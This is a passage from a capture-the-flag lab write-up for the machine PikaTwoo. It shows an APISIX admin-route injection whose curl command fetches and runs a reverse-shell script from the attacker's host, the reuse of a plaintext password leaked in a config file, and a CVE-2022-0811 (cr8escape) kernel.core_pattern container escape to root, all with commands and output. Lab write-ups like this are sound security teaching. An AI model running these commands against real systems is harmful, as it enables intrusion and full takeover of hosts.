oxdf@hacky$ curl -k https://10.10.11.199/apisix/batch-requests
{"error_msg":"404 Route Not Found"}
It’s important to do this as a POST request:
oxdf@hacky$ curl -k -X POST https://10.10.11.199/apisix/batch-requests
{"error_msg":"no request body, you should give at least one pipeline setting"}
Add Route
I’m going to add a route to the API that gives me a reverse shell. I’m going to need to hit the above endpoint with the following:
-
Header:
Content-type: application/json
- so that the body is correctly interpreted -
Body: The following JSON blob that describes a request that will be made:
{ "headers": { "X-API-KEY": "a8c2ef5bcc376e991af0b24da29c3a87" }, "timeout": 1500, "pipeline": [ { "path": "/apisix/admin/routes/index", "method": "PUT", "body": "{\"uri\":\"/shell/0xdf\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"127.0.0.1\":1}},\"name\":\"shell\",\"filter_func\":\"function(vars) os.execute(\\\"curl http://10.10.14.6/rev -o /tmp/0xdf; bash /tmp/0xdf\\\"); return true end\"}" } ] }
This will cause APISIX’s admin feature to make a PUT request to
/apisix/admin/routes/index
to create a route at/shell/0xdf
. That will executecurl http://10.10.14.6/rev -o /tmp/0xdf; bash /tmp/0xdf
, which hascurl
to fetch a script namedrev
from my server and then run it withbash
. I updated theX-API-KEY
header with the leaked key.
All together, that curl
command looks like (using jq
to pretty print the JSON response):
oxdf@hacky$ curl -sk -H "Content-Type: application/json" -X POST "https://10.10.11.199/apisix/batch-requests" -d '{"headers": {"X-API-KEY": "a8c2ef5bcc376e991af0b24da29c3a87"}, "timeout": 1500, "pipeline": [{"path": "/apisix/admin/routes/index", "method": "PUT", "body": "{\"uri\":\"/shell/0xdf\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"127.0.0.1\":1}},\"name\":\"shell\",\"filter_func\":\"function(vars) os.execute(\\\"curl http://10.10.14.6/rev -o /tmp/0xdf; bash /tmp/0xdf\\\"); return true end\"}"}]}' | jq .
[
{
"headers": {
"Access-Control-Allow-Credentials": "true",
"Server": "APISIX/2.10.1",
"Content-Type": "application/json",
"Transfer-Encoding": "chunked",
"Access-Control-Expose-Headers": "*",
"Access-Control-Allow-Origin": "*",
"Access-Control-Max-Age": "3600",
"Connection": "close",
"Date": "Wed, 30 Aug 2023 21:09:09 GMT"
},
"status": 200,
"body": "{\"action\":\"set\",\"node\":{\"key\":\"\\/apisix\\/routes\\/index\",\"value\":{\"update_time\":1693429749,\"priority\":0,\"upstream\":{\"type\":\"roundrobin\",\"pass_host\":\"pass\",\"nodes\":{\"127.0.0.1\":1},\"hash_on\":\"vars\",\"scheme\":\"http\"},\"filter_func\":\"function(vars) os.execute(\\\"curl http:\\/\\/10.10.14.6\\/rev -o \\/tmp\\/0xdf; bash \\/tmp\\/0xdf\\\"); return true end\",\"status\":1,\"name\":\"shell\",\"id\":\"index\",\"uri\":\"\\/shell\\/0xdf\",\"create_time\":1693429744}}}\n",
"reason": "OK"
}
]
It reports success.
Shell
With that endpoint created, I’ll hit it to trigger the reverse shell:
oxdf@hacky$ curl -k https://10.10.11.199/shell/0xdf
It hangs, but there’s a request at my webserver:
10.10.11.199 - - [30/Aug/2023 17:10:12] "GET /rev HTTP/1.1" 200 -
And then a shell at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.199 42778
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-5.1$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
bash-5.1$ hostname
apisix-7dd469755b-qtzd7
This is the APISIX pod.
I’ll upgrade the shell:
bash-5.1$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.1$ ^Z
[1]+ Stopped nc -lnvp 444
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 444
reset
bash-5.1$
Shell as Andrew
Enumeration
This is another pod, and it’s very empty. I’ll try to find the APISIX configs. There’s nothing in /etc/
of interest (including nginx and APISIX):
bash-5.1$ ls /etc/
alpine-release issue profile
apk logrotate.d profile.d
ca-certificates modprobe.d protocols
ca-certificates.conf modules resolv.conf
conf.d modules-load.d securetty
crontabs motd services
fstab mtab shadow
group network shells
hostname openldap ssl
hosts opt sysctl.conf
init.d os-release sysctl.d
inittab passwd terminfo
inputrc periodic udhcpd.conf
The docs show APISIX uses a config.yaml
file. There’s on in /usr/local/apisix/conf/
:
bash-5.1$ find . -name config.yaml 2>/dev/null
./usr/local/apisix/conf/config.yaml
The file has a lot of information in it, but one part jumps out:
discovery:
eureka:
fetch_interval: 30
host:
- http://andrew:st41rw4y2h34v3n@evolution.pokatmon.htb:8888
prefix: /eureka/
timeout:
connect: 2000
read: 5000
send: 2000
weight: 100
There’s a password for andrew in that URL, as well as a new domain.
I’m not able to find anything that resolves to evolution.pokatmon.htb
in any of the containers or see anything different from my VM.
SSH
That password does work for the andrew user on PikaTwoo:
oxdf@hacky$ sshpass -p 'st41rw4y2h34v3n' ssh andrew@10.10.11.199
Linux pikatwoo.pokatmon.htb 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
...[snip]...
andrew@pikatwoo:~$
And I finally get user.txt
:
andrew@pikatwoo:~$ cat user.txt
42845633************************
Shell as root
Enumeration
Home Directories
andrew’s home directory is relatively empty:
andrew@pikatwoo:~$ ls -la
total 28
drwxr-xr-x 3 root andrew 4096 Nov 10 2022 .
drwxr-xr-x 4 root root 4096 Nov 8 2022 ..
lrwxrwxrwx 1 root root 9 Mar 30 2022 .bash_history -> /dev/null
-rw-r--r-- 1 andrew andrew 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 andrew andrew 3526 Apr 18 2019 .bashrc
drwxr-xr-x 2 andrew users 4096 Nov 10 2022 Documents
-rw-r--r-- 1 andrew andrew 807 Apr 18 2019 .profile
-rw-r----- 1 root andrew 33 Aug 25 21:27 user.txt
There’s one other user, jennifer, and their home directory is listable:
andrew@pikatwoo:/home$ ls
andrew jennifer
andrew@pikatwoo:/home$ ls -la jennifer/
total 44
drwxr-xr-x 7 root jennifer 4096 Jan 17 2023 .
drwxr-xr-x 4 root root 4096 Nov 8 2022 ..
lrwxrwxrwx 1 root root 9 Mar 31 2022 .bash_history -> /dev/null
-rw-r----- 1 root jennifer 220 Mar 10 2022 .bash_logout
-rw-r----- 1 root jennifer 3526 Mar 10 2022 .bashrc
drwxr-x--- 2 root jennifer 4096 Mar 10 2022 .cache
drwxr-x--- 3 root jennifer 4096 Mar 10 2022 .config
drwxr-x--- 2 jennifer jennifer 4096 Mar 31 2022 Documents
drwxr-x--- 3 root users 4096 Mar 18 2022 .kube
drwxr-x--- 10 root users 4096 Mar 18 2022 .minikube
-rw-r----- 1 root jennifer 807 Mar 10 2022 .profile
-rwxr-x--- 1 root users 145 Jan 17 2023 template.yaml
template.yaml
, as well as the .kube
and .minikube
directories are part of the users group, of which andrew is a member:
andrew@pikatwoo:~$ id
uid=1001(andrew) gid=1001(andrew) groups=1001(andrew),100(users)
The template file gives the name of a container that presumably exists on PikaTwoo (since it won’t be able to reach the internet to download others):
apiVersion: v1
kind: Pod
metadata:
name: template-pod
spec:
containers:
- name: alpine
image: alpine:latest
imagePullPolicy: Never
I’ll keep in mind to use alpine:latest
when creating containers later.
Kubernetes API
kubectl
is installed on the host for managing Kubernetes. andrew isn’t able to interact with it:
andrew@pikatwoo:~$ kubectl get pods
Error from server: the server responded with the status code 412 but did not return more information
But using jennifer’s config works, kind of:
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "default"
I’m able to interact with the Kubernetes API, but only to learn that jennifer doesn’t have permissions to list pods in default. I’ll try the namespace from the pokatdex-api pod, applications, but same thing:
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace applications get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "applications"
jennifer does have the ability to list the namespaces:
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace applications get namespaces
NAME STATUS AGE
applications Active 531d
default Active 531d
development Active 293d
kube-node-lease Active 531d
kube-public Active 531d
kube-system Active 531d
jennifer is not able to list pods in any of those either:
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace development get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "development"
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace kube-node-lease get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "kube-node-lease"
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace kube-public get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "kube-public"
andrew@pikatwoo:~$ kubectl --kubeconfig /home/jennifer/.kube/config --namespace kube-system get pods
Error from server (Forbidden): pods is forbidden: User "jennifer" cannot list resource "pods" in API group "" in the namespace "kube-system"
Minikube Server
Looking at jennifer’s Kubernetes config, it is looking for a minikube server at 192.168.49.2:
apiVersion: v1
clusters:
- cluster:
certificate-authority: /home/jennifer/.minikube/ca.crt
extensions:
- extension:
last-update: Fri, 18 Mar 2022 10:23:04 GMT
provider: minikube.sigs.k8s.io
version: v1.25.2
name: cluster_info
server: https://192.168.49.2:8443
name: minikube
contexts:
- context:
cluster: minikube
user: jennifer
name: jennifer-context
current-context: jennifer-context
kind: Config
preferences: {}
users:
- name: jennifer
user:
client-certificate: /home/jennifer/.minikube/profiles/minikube/jennifer.crt
client-key: /home/jennifer/.minikube/profiles/minikube/jennifer.key
That’s not this host, but this host does have the .1 IP for that network on it’s cni-podman0
adapter:
andrew@pikatwoo:/home/jennifer/.kube$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:d0:f3 brd ff:ff:ff:ff:ff:ff
altname enp11s0
altname ens192
inet 10.10.11.199/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:d0f3/64 scope global dynamic mngtmpaddr
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:d0f3/64 scope link
valid_lft forever preferred_lft forever
3: cni-podman0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether a6:9b:3a:63:07:c3 brd ff:ff:ff:ff:ff:ff
inet 192.168.49.1/24 brd 192.168.49.255 scope global cni-podman0
valid_lft forever preferred_lft forever
inet6 fe80::a49b:3aff:fe63:7c3/64 scope link
valid_lft forever preferred_lft forever
4: vethb5c6d31e@if3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master cni-podman0 state UP group default
link/ether 66:8e:c1:e6:ed:52 brd ff:ff:ff:ff:ff:ff link-netns cni-4b6c723d-bdcc-8dd3-7928-5084ec345fbd
inet6 fe80::24a1:5ff:fefd:539d/64 scope link
valid_lft forever preferred_lft forever
Podman is an open source alternative to Docker for running containers.
Identify cr8escape
Identifying Vulnerability
minikube is the software running Kubernetes on this host. It’s running version 1.28.0-0:
andrew@pikatwoo:~$ dpkg -l | grep minikube
hi minikube 1.28.0-0 amd64 Minikube
Some searching for minikube vulnerabilities turns up a post from Crowdstrike, cr8escape: New Vulnerability in CRI-O Container Engine Discovered by CrowdStrike (CVE-2022-0811). It says:
Kubernetes uses a container runtime like CRI-O or Docker to safely share each node’s kernel and resources with the various containerized applications running on it. The Linux kernel accepts runtime parameters that control its behavior. Some parameters are namespaced and can therefore be set in a single container without impacting the system at large. Kubernetes and the container runtimes it drives allow pods to update these “safe” kernel settings while blocking access to others.
CrowdStrike’s Cloud Threat Research team discovered a flaw introduced in CRI-O version 1.19 that allows an attacker to bypass these safeguards and set arbitrary kernel parameters on the host. As a result of CVE-2022-0811, anyone with rights to deploy a pod on a Kubernetes cluster that uses the CRI-O runtime can abuse the “kernel.core_pattern” parameter to achieve container escape and arbitrary code execution as root on any node in the cluster.
The NIST page on the CVE has the exact versions that are vulnerable:
So how to check if it’s using CRI-O and what version? I’ll grep
through jennifer’s home directory for cri-o
:
andrew@pikatwoo:/home/jennifer$ grep -ir cri-o . 2>/dev/null
./.minikube/logs/lastStart.txt:I0318 10:22:24.318492 443 preload.go:148] Found local preload: /root/.minikube/cache/preloaded-tarball/preloaded-images-k8s-v17-v1.23.3-cri-o-overlay-amd64.tar.lz4
./.minikube/logs/lastStart.txt:I0318 10:22:24.318770 443 preload.go:174] Found /root/.minikube/cache/preloaded-tarball/preloaded-images-k8s-v17-v1.23.3-cri-o-overlay-amd64.tar.lz4 in cache, skipping download
./.minikube/logs/lastStart.txt:RuntimeName: cri-o
./.minikube/logs/lastStart.txt:I0318 10:22:33.615621 443 out.go:176] * Preparing Kubernetes v1.23.3 on CRI-O 1.22.1 ...
./.minikube/logs/lastStart.txt:I0318 10:22:34.100346 443 crio.go:491] all images are preloaded for cri-o runtime.
./.minikube/logs/lastStart.txt:I0318 10:22:34.137911 443 crio.go:491] all images are preloaded for cri-o runtime.
./.minikube/profiles/minikube/events.json:{"specversion":"1.0","id":"df4c253d-79e0-4fbc-a5d4-b2c9f4651f6f","source":"https://minikube.sigs.k8s.io/","type":"io.k8s.sigs.minikube.step","datacontenttype":"application/json","data":{"currentstep":"11","message":"* Preparing Kubernetes v1.23.3 on CRI-O 1.22.1 ...","name":"Preparing Kubernetes","totalsteps":"19"}}
The last line gives the CRI-O version of 1.22.1, which should be vulnerable according to that NIST chart.
Cr8Escape Background
I’ve actually exploited this vulnerability before in Vessel, although it wasn’t in the context of Kubernetes. The issue is that Kubernetes and CRI-O let a container set arbitrary kernel options using the +
delimiter. Once something can do that, there are ways to leverage that to get execution as root. In this example (and Vessel’s), I’ll set the path to the script that will run (as root) on a crashdump to something I control, and then crash a process.
In Vessel, this was accompished via a SetGID pinns
binary. In PikaTwoo, it’s via Kubernetes. Kubernetes only allows for some safe kernel options to be set via the config YAML file. It takes the value from that file and passes it to pinns
to set the options. Unfortunately, it doesn’t sanitize the +
character, which is similar to what &
does in a HTTP request.
To exploit this, I’ll set a safe / allowed option to [dummy value]+[unsafe option]=[value]
. This will inject the setting of [unsafe option]
, even though I’m not supposed to be allowed to set that.
Cr8Escape POC
Strategy
The CrowdStrike post gives the steps to reproduce this vulnerability, but it’s much more complicated than what is necessary here. In the post, it’s designed for a scenario where I have access to create pods, but not to the host file system (for example, AWS’s EKS Kubernetes service). In this scenario, the steps to exploit are:
- Create a pod and put a malicious script in it.
- Create a second pod that exploits the process by injecting kernel options to set the malicious script to be run on a crash. To do this, I’ll need to figure out the path in OverlayFS.
- Go into the first pod and crash a process, triggering the script from the host.
In this scenario, I’ll do the same thing, but I don’t need the first pod. I can:
- Create a script anywhere on the host.
- Create a pod to set the kernel option.
- Trigger the crash from the host.
This is very similar to what I did on Vessel, though through Kubernetes this time.
If I didn’t have access to the host filesystem for some reason, I could set up my own local instance of Minikube to look like this one by installing Minikube, and then starting with these instructions like minikube start --driver=podman --container-runtime=cri-o
. This creates a Minikube controller in a Podman container like in PikaTwoo.
Create Script
I’ll put a simple script in a writable location like /home/andrew/Documents/
and make it executable:
andrew@pikatwoo:~/Documents$ vim.tiny 0xdf.sh
andrew@pikatwoo:~/Documents$ chmod +x 0xdf.sh
andrew@pikatwoo:~/Documents$ cat 0xdf.sh
#!/bin/bash
touch /tmp/0xdf
This script will touch the file /tmp/0xdf
.
Modify Kernel Options
I’ll use the exploit template from the Crowdstrike blog post to make a container:
apiVersion: v1
kind: Pod
metadata:
name: sysctl-set
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/home/andrew/Documents/0xdf.sh #"
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]
This will inject the kernel.core_pattern
option to point at my script.
Trying to create the pod is met with another lack of permissions error:
andrew@pikatwoo:~/Documents$ kubectl --kubeconfig /home/jennifer/.kube/config create -f sysctl-set.yaml
Error from server (Forbidden): error when creating "sysctl-set.yaml": pods is forbidden: User "jennifer" cannot create resource "pods" in API group "" in the namespace "default"
I’ll try in different namespaces. It also fails in applications, but in development it works!
andrew@pikatwoo:~/Documents$ kubectl --kubeconfig /home/jennifer/.kube/config create -f sysctl-set.yaml -n applications
Error from server (Forbidden): error when creating "sysctl-set.yaml": pods is forbidden: User "jennifer" cannot create resource "pods" in API group "" in the namespace "applications"
andrew@pikatwoo:~/Documents$ kubectl --kubeconfig /home/jennifer/.kube/config create -f sysctl-set.yaml -n development
pod/sysctl-set created
I can check now that the kernel option is set:
andrew@pikatwoo:~/Documents$ cat /proc/sys/kernel/core_pattern
|/home/andrew/Documents/0xdf.sh #'
Trigger Exploit
I’ll start a process that runs in the background:
andrew@pikatwoo:~/Documents$ tail -f /dev/null &
[1] 19090
tail -f /dev/null
will continue to try to read from nothing indefinitely. Because it’s in the background (&
), it gives the pid of that process.
I’ll enable crashdumps:
andrew@pikatwoo:~/Documents$ ulimit -c
0
andrew@pikatwoo:~/Documents$ ulimit -c unlimited
andrew@pikatwoo:~/Documents$ ulimit -c
unlimited
I’ll kill my process, creating a crashdump and triggering my exploit, creating the file in /tmp
:
andrew@pikatwoo:~/Documents$ kill -SIGSEGV 19090
[1]+ Segmentation fault (core dumped) tail -f /dev/null
andrew@pikatwoo:~/Documents$ ls -l /tmp/
total 0
-rw-r--r-- 1 root root 0 Sep 5 19:26 0xdf
Shell
To get a shell, I’ll simply update 0xdf.sh
to create a SetUID/SetGID copy of bash
:
#!/bin/bash
cp /bin/bash /tmp/0xdf-bash
chmod 6777 /tmp/0xdf-bash
Now I crash another process:
andrew@pikatwoo:~/Documents$ tail -f /dev/null &
[1] 54964
andrew@pikatwoo:~/Documents$ kill -SIGSEGV 54964
And start my shell:
andrew@pikatwoo:~/Documents$ /tmp/0xdf-bash -p
0xdf-bash-5.1#
I’m able to read the flag:
0xdf-bash-5.1# cat /root/root.txt
0f945ad0************************